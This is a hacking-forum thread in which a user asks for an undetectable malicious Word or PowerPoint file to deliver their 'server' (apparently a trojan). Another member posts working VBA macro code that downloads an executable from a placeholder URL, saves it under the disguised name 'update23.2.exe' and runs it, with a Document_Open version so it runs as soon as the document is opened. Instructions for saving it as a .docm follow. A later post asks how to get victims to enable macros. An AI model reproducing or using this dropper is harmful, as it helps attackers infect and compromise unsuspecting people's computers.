

Forum:[Hack Forums](#)

Thread: [xploit for Word or powerpoint](#)

masterboss - July 11, 2015, 8:49 am

Hello!

I need a Exploit for Word or PowerPoint, some technical FUD not need the source files, just someone manufactures me a Word or PowerPoint with my server, who can help me

?

Zero_Viscosity - July 11, 2015, 9:30 am

This would be incredibly valuable - so you're probably shit out of luck m8 :)

'Cynical - July 11, 2015, 9:34 am

Just use a Macro to DL + Run your .exe.

masterboss - July 11, 2015, 9:51 am

(Jul 11, 2015 09:34 AM)?Roku Wrote: [\[CITE\]](#) Just use a Macro to DL + Run your .exe.
thank you very much! could send me an example MP, eh found some internet but do not think it's safe for me

'Cynical - July 11, 2015, 10:28 am

(Jul 11, 2015 09:51 AM)masterboss Wrote: [\[CITE\]](#) thank you very much! could send me an example MP, eh found some internet but do not think it's safe for me
Give me a bit to look into it.
We'll see.

masterboss - July 11, 2015, 11:09 am

(Jul 11, 2015 10:28 AM)?Roku Wrote: [\[CITE\]](#) Give me a bit to look into it.
We'll see.
I have one good I want to show you, but still I can not send MP ?

'Cynical - July 11, 2015, 11:43 am

(Jul 11, 2015 11:09 AM)masterboss Wrote: [\[CITE\]](#) I have one good I want to show you, but still I can not send MP ?

Spoiler ([Click to View](#))

Sub MyMacro()

```
' Source: https://gist.github.com/nopslider/0d48760928642ca190ed  
' Download and autorun Word Macro.  
' 1337 h4x0r  
,
```

```
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")  
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")  
xHttp.Open "GET", "http://example.website/file.exe", False  
xHttp.Send
```

With bStrm

```

.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "update23.2.exe", 2 '//overwrite
End With

Shell ("update23.2.exe")

End Sub

```

You set the download URL on line 9.

To make it auto run, go to the developer section, then visual basic, then double click on ThisDocument.
Then just paste this in it and save it as filename.docm

Spoiler ([Click to View](#))

```

Private Sub Document_Open()
'
' Source: https://gist.github.com/nopslider/0d48760928642ca190ed
' Download and autorun Word Macro.
' 1337 h4x0r
'
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://example.website/file.exe", False
xHttp.Send

With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "update23.2.exe", 2 '//overwrite
End With

Shell ("update23.2.exe")

End Sub

```

masterboss - July 11, 2015, 12:51 pm

I have a exploit that works without macros but do not use can resend use to see if you know? as you sent it?

Cynical - July 11, 2015, 4:32 pm

(Jul 11, 2015 12:51 PM)masterboss Wrote: [\[CITE\]](#) I have a exploit that works without macros but do not use can resend use to see if you know? as you sent it?

Can you put that in... English?

<http://translate.google.com/>

K0zero - July 13, 2015, 2:43 am

I may help you. Please use the google translate to send me a message. Have a great day.

NobleSausage - *November 3, 2016, 9:08 pm*

sry for bumping this but i tried it and the macros are disabled on default unless you click enable macro.. anyway to work around this? or make the person click it